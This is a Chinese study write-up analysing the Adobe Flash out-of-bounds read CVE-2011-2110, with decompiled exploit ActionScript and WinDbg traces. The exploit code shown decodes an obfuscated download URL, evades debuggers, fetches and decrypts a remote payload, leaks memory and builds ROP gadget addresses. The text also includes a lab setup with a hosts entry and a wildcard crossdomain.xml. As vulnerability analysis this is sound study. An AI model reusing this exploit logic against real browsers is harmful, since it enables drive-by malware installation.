这次看的漏洞是CVE-2011-2110,Adobe Flash中的数组越界访问漏洞。虽然越界访问与溢出漏洞都发生了“越界”,但是不管是栈溢出还是堆溢出,最终都能够做到越界写的行为,而数组越界访问,只能做到泄露部分内存数据,和溢出漏洞相比威力小了很多,漏洞利用的方法也更难一些。
书中提供的漏洞利用文件是一个html文件,漏洞本身存在于Adobe FlashPlay中,这里通过在html中嵌入swf文件的方式,实现恶意文件的传播,真正进行漏洞利用的是嵌入的swf文件。
所以先来分析一下这个swf文件,可以使用JPEXS Free Flash Decompiler
工具对swf文件进行反编译,得到的代码并不长,只有600+。
代码的开头就在对参数进行处理,可以注意到在嵌入swf文件的时候,传入了一个info
参数,这里处理的就是这个参数:
使用CyberChef按照代码的处理方法对info
参数进行处理,可以得到最终结果:http://www.amcia.info/down/cd.txt
之后代码对环境进行了判断:
可以看到这个代码针对的是IE和Firefox浏览器,其他浏览器都会报错,最后还检查了是否为调试版本、处理器是否为64位,以及是否内嵌在Acrobat PDF中,任意一种情况符合都会报错。
最后代码使用一开始从info
参数解码出来的字符串,进行了URL请求:
可见这个代码会联网下载其他文件,同时在下载完成后,执行onLoadComplete
函数。
该函数会对下载的文件进行解密,解密方法和info
参数一样。
之后创建了一个ByteArray _loc2_
,目前还不知道这个变量有什么用,最后调用了test()
函数。
test
函数占据了这个文件的大部分篇幅,漏洞利用的内容应该也在这个函数中,
Flash版本:10.3.181.23 (下载地址:https://archive.org/details/flashplayerarchive)
漏洞利用主机:
操作系统:Win7 32位 SP1简体中文专业版
IE:8.0.7601.17514
服务器主机:
操作系统任意
phpstudy:8.1.1.3
IP地址:192.168.6.198
由于amcia.info已经无法访问,需要自己搭建一个服务器模仿该网站。
使用phpstudy搭建服务器环境,打开Apache服务,在WWW根目录下放置以下文件,文件书籍配套资料有提供:
其中的crossdomain.xml
是自己创建的,内容如下:
有了这个文件就允许任意域名跨域访问资源了。
IP地址:192.168.6.40
修改hosts文件,添加记录:
使用Fiddler抓包查看网络连接情况,使用Process Explorer监控进程执行情况。
之后打开IE,访问http://www.amcia.info/cve-2011-2110.html
,可以看到Fiddler中:
以及Porcess Explorer中:
由于我之前设置了windbg作为默认调试器,因此,此时windbg已经自动弹出来了:
在此也可以看出scvhost.exe
的路径在临时文件夹中。
注:这里用于实验的main.swf并不是特别稳定,因此需要选择合适的Flash版本才能执行到scvhost.exe出现,除此之外,windows要选择32位的,IE版本也不能太高,我也是实验了几次才最终得到了这个结果。
根据之前对代码简单分析,这里出现异常的scvhost.exe应该就是cd.txt解码之后的结果,main.swf利用了Adobe Flash中存在的漏洞,实现了恶意程序的执行。所以现在的问题应该是main.swf是怎样利用了这个漏洞,而不是最终执行起来的恶意程序为什么出现了异常。
书中提供了针对swf文件,在漏洞利用早期触发异常,从而定位漏洞位置的方法。
对于用于漏洞利用的swf文件,可以直接修改反编译得到的脚本代码,再使用工具Flash Builder重新进行编译,生成新的swf文件。但是应该怎么修改呢?需要分析一下反编译得到的代码:
漏洞利用的主要代码都集中在test函数中,这个函数代码开头是这样的:
一开始的_loc2_
从rest
参数数组的0x4000000E
偏移处读取了一个数值,这里肯定是有问题的,正常来说不可能是这么大的偏移。所以漏洞就出现在这里,它允许对rest
参数数组进行越界的读取。但是这个越界读取对应到Adobe Flash软件中,又是什么情况呢?
继续往下看,读取的这个数经过处理之后变成了this.baseaddr
。也就是说,由于漏洞的存在,我们可以通过越界读取获取内存中的保存的数据,并在之后使用。
test
函数后面利用这个baseaddr
,通过进一步计算,得到了更多的后续使用的数值:
不同的Flash版本计算的数值不同,这也是为什么一开始环境搭建的时候有些Flash版本并没有成功进行漏洞利用,因为这里的代码并没有考虑所有的情况,对环境依赖严重。
之后开始构建shellcode,后续还存在两次利用数组越界读取获取信息的代码:
所以现在关键是要确定rest参数越界读取是发生在哪里,读取的数值又是什么。
可以修改函数一开始越界读取的索引值,原本是
按照书中所说修改成0x41414141
,重新进行测试,windbg断在了这里:
注意到eax寄存器的值就是0x41414141
,程序尝试从ecx+eax*4
的位置读取数值,这里很好理解,ecx保存的是rest
参数基地址,eax是偏移,最后计算出具体位置。
所以现在可以确定漏洞位置位于Flash10s!DllUnregisterServer+0x274e3d
,接下来还是用之前正确的main.swf,用windbg附加到IE上,然后在漏洞位置设置断点,再打开目标网址,windbg断在断点处:
可以看到在偏移值为0x4000000E
的情况下,读取到的数据是0x0276d078
,但是这个值有什么用呢?
如果多次测试,我这里贴出多次测试得到的结果:
注意读取到的数值指向的位置,第二个DWORD与Flash10s.ocx加载基址做减法之后(即它的偏移)始终不变,为0x406E0E
。
第二个DWORD就是代码中所说的的baseaddr
,而代码中根据baseaddr
计算出来的数值就是:
可以看到除了this.VirtualAlloc
和this.virtualprotect
由于缺少符号文件无法确定之外,其他的指令地址都是正确的。
同样的原理,继续执行,程序会断在同样的位置,对应代码中的第二次越界读取:
继续执行,程序中断,对应第三次越界读取:
注意到这里的第二个DWORD 076a0000
,就保存在第二次中断时第二个DWORD所指向的区域。而076a0000
中保存的就是代码中的code
内容,因为如果回头看一下test函数一开始的代码,它执行了:
其中this.pobj
的值为零,所以最后括号中的表达式计算结果就是0x6400F
,也就是076a0000
处保存的数据的首个DWORD值。
确定了shellcode的位置,在这里下一个读写断点(多次调试,地址改变):
这里执行的指令是mov dword ptr [edi+ecx*4-4],eax
,向首四个字节写入了数据,还没有执行到shellcode,继续执行:
可以看到程序到这里就执行到了ROP指令。
根据上面的分析,通过计算异常发生地址与Flash10s.ocx的基址之间的差,得到其偏移为0x3F24B5
,在IDA中查看异常发生处的代码:
令人疑惑的索引范围判断......
找到打完补丁之后的10.3.181.26版本中的Flash10t.ocx文件,用IDA打开,让两个文件的基地址保持一致,搜索8B 04 81
,即mov eax, [ecx+eax*4]
的机器码,在得到的所有结果中,找到与原文件该指令地址.text:674224B5
最接近的一条结果:.text:67422426 8B 04 81 mov eax, [ecx+eax*4]
,这条指令的偏移为0x3F2426
。
查看所在函数的伪代码:
用来做范围判断的a5是传进来的参数,上方的v8 = *(a3 & 0xFFFFFFF8), v8 < 0.0) || v8 > 4294967295.0
和原文件中的代码很像,基本可以判断是同一函数。
如果在漏洞利用的虚拟机上安装10.3.181.26版本的Flash再做一次测试,首先根据IDA中模块的基地址(0x67030000
)以及代码所在函数地址(0x67422380
)计算出函数的偏移地址(0x3f2380
),当windbg附加当IE浏览器上后,检查Flash10t的加载基址(0x67500000
),由此得到函数所在地址为(0x678f2380
),在此处下断点,然后开始访问目标网址,程序断在了函数开头,
继续单步,直到到达if ( v7 < a5 )
的位置:
可以看到eax寄存器中保存的值就是代码中的数组索引值4000000e
,而比较的另一个对象,ebp中的值是00000000
,由于返回为假,所以程序不会执行到下一步,也就不会发生越界访问了。
通过上面的调试经历,可以看出一些数组越界访问的漏洞利用方法,通过越界访问泄露的数据信息,构造ROP指令,获取shellcode地址,同时需要找到能够调用到该地址的指令,最终实现漏洞利用。
这周的学习很有挫败感,基本上都是在跟随书中的步骤,固然也学到了一些调试swf,action script的技巧,同时也对数组越界访问的漏洞利用有了一部分了解,但是总体来说,这个漏洞对于初次学习数组越界访问漏洞并不友好,缺少symbol文件,网上的信息也不多,对于flash的不了解,更不用说目前flash已经完全不再支持,都导致在学习过程中会有很多疑问无法得到解答。
希望之后遇到同样类型漏洞的时候能够学习到更多内容。
<param name
=
"movie"
value
=
"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656"
/
>
<param name
=
"movie"
value
=
"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656"
/
>
var param:
Object
=
root.loaderInfo.parameters;
var t_url:ByteArray
=
this.hexToBin(param[
"info"
]);
i
=
0
;
i
=
0
;
while
(i < t_url.length)
{
t_url[i] ^
=
122
;
i
+
+
;
}
t_url.uncompress();
var param:
Object
=
root.loaderInfo.parameters;
var t_url:ByteArray
=
this.hexToBin(param[
"info"
]);
i
=
0
;
i
=
0
;
while
(i < t_url.length)
{
t_url[i] ^
=
122
;
i
+
+
;
}
t_url.uncompress();
var error_arr:ByteArray
=
new ByteArray();
error_arr.writeByte(
2053208673
);
error_arr.writeObject(error_arr);
var browser:String
=
ExternalInterface.call(
"eval"
,
"navigator.userAgent"
);
if
(!(browser.toLowerCase().indexOf(
"msie"
) >
0
|| browser.toLowerCase().indexOf(
"firefox"
) >
0
))
{
error_arr.uncompress();
}
if
(browser.toLowerCase().indexOf(
"chrome"
) >
0
)
{
error_arr.uncompress();
}
if
(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
error_arr.uncompress();
}
var error_arr:ByteArray
=
new ByteArray();
error_arr.writeByte(
2053208673
);
error_arr.writeObject(error_arr);
var browser:String
=
ExternalInterface.call(
"eval"
,
"navigator.userAgent"
);
if
(!(browser.toLowerCase().indexOf(
"msie"
) >
0
|| browser.toLowerCase().indexOf(
"firefox"
) >
0
))
{
error_arr.uncompress();
}
if
(browser.toLowerCase().indexOf(
"chrome"
) >
0
)
{
error_arr.uncompress();
}
if
(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
error_arr.uncompress();
}
var url_str:String
=
String(t_url);
loader
=
new URLLoader();
loader.dataFormat
=
URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));
var url_str:String
=
String(t_url);
loader
=
new URLLoader();
loader.dataFormat
=
URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));
onLoadComplete
=
function(param1:Event):void
{
content
=
loader.data;
i
=
0
;
while
(i < content.length)
{
content[i] ^
=
122
;
+
+
i;
}
content.uncompress();
content_len
=
content.length;
var _loc2_:ByteArray
=
new ByteArray();
code
=
_loc2_;
_loc2_.position
=
1024
*
1024
;
_loc2_.writeInt(
2053274210
);
_loc2_.writeInt(
2053339747
);
_loc2_.writeInt(
2053405283
);
_loc2_.writeObject(_loc2_);
test();
trace(_loc2_.length);
};
onLoadComplete
=
function(param1:Event):void
{
content
=
loader.data;
i
=
0
;
while
(i < content.length)
{
content[i] ^
=
122
;
+
+
i;
}
content.uncompress();
content_len
=
content.length;
var _loc2_:ByteArray
=
new ByteArray();
code
=
_loc2_;
_loc2_.position
=
1024
*
1024
;
_loc2_.writeInt(
2053274210
);
_loc2_.writeInt(
2053339747
);
_loc2_.writeInt(
2053405283
);
_loc2_.writeObject(_loc2_);
test();
trace(_loc2_.length);
};
down\
cd.txt
cve
-
2011
-
2110.html
main.swf
crossdomain.xml
down\
cd.txt
cve
-
2011
-
2110.html
main.swf
crossdomain.xml
<?xml version
=
"1.0"
?>
<cross
-
domain
-
policy>
<allow
-
access
-
from
domain
=
"*"
/
>
<
/
cross
-
domain
-
policy>
<?xml version
=
"1.0"
?>
<cross
-
domain
-
policy>
<allow
-
access
-
from
domain
=
"*"
/
>
<
/
cross
-
domain
-
policy>
192.168
.
6.198
www.amcia.info
192.168
.
6.198
www.amcia.info
(e04.
810
): Invalid lock sequence
-
code c000001e (!!! second chance !!!)
eax
=
00000000
ebx
=
7ffd4000
ecx
=
00000000
edx
=
004033d9
esi
=
00000000
edi
=
00000000
eip
=
00403425
esp
=
0012ff5c
ebp
=
0012ff88
iopl
=
0
nv up ei ng nz ac po cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010293
*
*
*
ERROR: Module load completed but symbols could
not
be loaded
for
C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost
+
0x3425
:
00403425
f04b lock dec ebx
(e04.
810
): Invalid lock sequence
-
code c000001e (!!! second chance !!!)
eax
=
00000000
ebx
=
7ffd4000
ecx
=
00000000
edx
=
004033d9
esi
=
00000000
edi
=
00000000
eip
=
00403425
esp
=
0012ff5c
ebp
=
0012ff88
iopl
=
0
nv up ei ng nz ac po cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010293
*
*
*
ERROR: Module load completed but symbols could
not
be loaded
for
C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost
+
0x3425
:
00403425
f04b lock dec ebx
public function test(... rest) : void
{
var _loc8_:
int
=
0
;
var _loc2_:Number
=
new Number(parseFloat(String(rest[
0x4000000E
])));
var _loc3_:ByteArray
=
new ByteArray();
_loc3_.position
=
0
;
_loc3_.writeDouble(_loc2_);
var _loc4_:uint
=
_loc3_[
0
]
*
0x1000000
+
_loc3_[
1
]
*
0x10000
+
_loc3_[
2
]
*
0x100
+
_loc3_[
3
];
this.baseaddr
=
_loc4_;
this.code.position
=
0
;
this.code.endian
=
Endian.LITTLE_ENDIAN;
this.code.writeInt(this.pobj
-
1
+
16
+
409600
);
this.code.endian
=
Endian.BIG_ENDIAN;
this.code.writeUnsignedInt(
0x41414141
);
this.code.writeUnsignedInt(
0x41414141
);
this.code.writeUnsignedInt(
0x41414141
);
_loc8_
=
0
;
while
(_loc8_ <
102400
)
{
this.code.writeUnsignedInt(
0x41414141
);
_loc8_
+
+
;
}
...
public function test(... rest) : void
{
var _loc8_:
int
=
0
;
var _loc2_:Number
=
new Number(parseFloat(String(rest[
0x4000000E
])));
var _loc3_:ByteArray
=
new ByteArray();
_loc3_.position
=
0
;
_loc3_.writeDouble(_loc2_);
var _loc4_:uint
=
_loc3_[
0
]
*
0x1000000
+
_loc3_[
1
]
*
0x10000
+
_loc3_[
2
]
*
0x100
+
_loc3_[
3
];
this.baseaddr
=
_loc4_;
this.code.position
=
0
;
this.code.endian
=
Endian.LITTLE_ENDIAN;
this.code.writeInt(this.pobj
-
1
+
16
+
409600
);
this.code.endian
=
Endian.BIG_ENDIAN;
this.code.writeUnsignedInt(
0x41414141
);
this.code.writeUnsignedInt(
0x41414141
);
this.code.writeUnsignedInt(
0x41414141
);
_loc8_
=
0
;
while
(_loc8_ <
102400
)
{
this.code.writeUnsignedInt(
0x41414141
);
_loc8_
+
+
;
}
...
this.xchg_eax_esp_ret
=
this.baseaddr
-
0x3F48E7
;
this.xchg_eax_esi_ret
=
this.baseaddr
-
0x2FF589
;
this.pop_eax_ret
=
this.baseaddr
-
0x405D48
;
this.VirtualAlloc
=
this.baseaddr
+
0xA6626
;
this.jmp_eax
=
this.baseaddr
-
0x3FF11F
;
this.pop_ecx
=
this.baseaddr
-
0x405DA0
;
this.mov_eax_ecx
=
this.baseaddr
-
0x3B90CC
;
this.inc_eax_ret
=
this.baseaddr
-
0x405D4C
;
this.dec_eax_ret
=
this.baseaddr
-
0x3BBD96
;
this.to_eax
=
this.baseaddr
-
0x3ADC67
;
this.virtualprotect
=
this.baseaddr
+
0xA65F2
;
this.xchg_eax_esp_ret
=
this.baseaddr
-
0x3F48E7
;
this.xchg_eax_esi_ret
=
this.baseaddr
-
0x2FF589
;
this.pop_eax_ret
=
this.baseaddr
-
0x405D48
;
this.VirtualAlloc
=
this.baseaddr
+
0xA6626
;
this.jmp_eax
=
this.baseaddr
-
0x3FF11F
;
this.pop_ecx
=
this.baseaddr
-
0x405DA0
;
this.mov_eax_ecx
=
this.baseaddr
-
0x3B90CC
;
this.inc_eax_ret
=
this.baseaddr
-
0x405D4C
;
this.dec_eax_ret
=
this.baseaddr
-
0x3BBD96
;
this.to_eax
=
this.baseaddr
-
0x3ADC67
;
this.virtualprotect
=
this.baseaddr
+
0xA65F2
;
var _loc5_:Number
=
new Number(parseFloat(String(rest[
0x3FFFFF96
])));
var _loc6_:ByteArray;
(_loc6_
=
new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint
=
_loc6_[
0
]
*
0x1000000
+
_loc6_[
1
]
*
0x10000
+
_loc6_[
2
]
*
0x100
+
_loc6_[
3
];
this.pobj
=
_loc7_;
_loc8_
=
0
;
this.pobj
+
=
56
;
_loc8_
=
0
;
while
(_loc8_ <
100
)
{
this.code.writeInt(this.pobj);
_loc8_
+
+
;
}
var _loc9_:Number
=
new Number(parseFloat(String(rest[
0x3FFFFFBA
])));
_loc3_.position
=
0
;
_loc3_.writeDouble(_loc9_);
_loc4_
=
_loc3_[
0
]
*
0x1000000
+
_loc3_[
1
]
*
0x10000
+
_loc3_[
2
]
*
0x100
+
_loc3_[
3
];
this.pobj
=
_loc4_
+
2
;
ExternalInterface.call("",this.pobj.toString(
16
));
_loc8_
=
0
;
while
(_loc8_ <
100
)
{
this.code.writeInt(this.pobj);
_loc8_
+
+
;
}
var _loc5_:Number
=
new Number(parseFloat(String(rest[
0x3FFFFF96
])));
var _loc6_:ByteArray;
(_loc6_
=
new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint
=
_loc6_[
0
]
*
0x1000000
+
_loc6_[
1
]
*
0x10000
+
_loc6_[
2
]
*
0x100
+
_loc6_[
3
];
this.pobj
=
_loc7_;
_loc8_
=
0
;
this.pobj
+
=
56
;
_loc8_
=
0
;
while
(_loc8_ <
100
)
{
this.code.writeInt(this.pobj);
_loc8_
+
+
;
}
var _loc9_:Number
=
new Number(parseFloat(String(rest[
0x3FFFFFBA
])));
_loc3_.position
=
0
;
_loc3_.writeDouble(_loc9_);
_loc4_
=
_loc3_[
0
]
*
0x1000000
+
_loc3_[
1
]
*
0x10000
+
_loc3_[
2
]
*
0x100
+
_loc3_[
3
];
this.pobj
=
_loc4_
+
2
;
ExternalInterface.call("",this.pobj.toString(
16
));
_loc8_
=
0
;
while
(_loc8_ <
100
)
{
this.code.writeInt(this.pobj);
_loc8_
+
+
;
}
var _loc2_:Number
=
new Number(parseFloat(String(rest[
0x4000000E
])));
var _loc2_:Number
=
new Number(parseFloat(String(rest[
0x4000000E
])));
(cb8.
7dc
): Access violation
-
code c0000005 (!!! second chance !!!)
eax
=
41414141
ebx
=
0594a040
ecx
=
0256d07c
edx
=
0256d07c
esi
=
0581a0d0
edi
=
0581a0d0
eip
=
68f724b5
esp
=
0256cef4
ebp
=
0256d020
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00050202
*
*
*
ERROR: Symbol
file
could
not
be found. Defaulted to export symbols
for
C:\Windows\system32\Macromed\Flash\Flash10s.ocx
-
Flash10s!DllUnregisterServer
+
0x274e3d
:
68f724b5
8b0481
mov eax,dword ptr [ecx
+
eax
*
4
] ds:
0023
:
075bd580
=
????????
(cb8.
7dc
): Access violation
-
code c0000005 (!!! second chance !!!)
eax
=
41414141
ebx
=
0594a040
ecx
=
0256d07c
edx
=
0256d07c
esi
=
0581a0d0
edi
=
0581a0d0
eip
=
68f724b5
esp
=
0256cef4
ebp
=
0256d020
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00050202
*
*
*
ERROR: Symbol
file
could
not
be found. Defaulted to export symbols
for
C:\Windows\system32\Macromed\Flash\Flash10s.ocx
-
Flash10s!DllUnregisterServer
+
0x274e3d
:
68f724b5
8b0481
mov eax,dword ptr [ecx
+
eax
*
4
] ds:
0023
:
075bd580
=
????????
0
:
011
> bu Flash10s!DllUnregisterServer
+
0x274e3d
0
:
011
> g
Breakpoint
0
hit
eax
=
4000000e
ebx
=
0598d040
ecx
=
0276cfec
edx
=
0276cfec
esi
=
058fa0d0
edi
=
058fa0d0
eip
=
674224b5
esp
=
0276ce74
ebp
=
0276cf90
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00040202
Flash10s!DllUnregisterServer
+
0x274e3d
:
674224b5
8b0481
mov eax,dword ptr [ecx
+
eax
*
4
] ds:
0023
:
0276d024
=
0276d078
0
:
011
> bu Flash10s!DllUnregisterServer
+
0x274e3d
0
:
011
> g
Breakpoint
0
hit
eax
=
4000000e
ebx
=
0598d040
ecx
=
0276cfec
edx
=
0276cfec
esi
=
058fa0d0
edi
=
058fa0d0
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)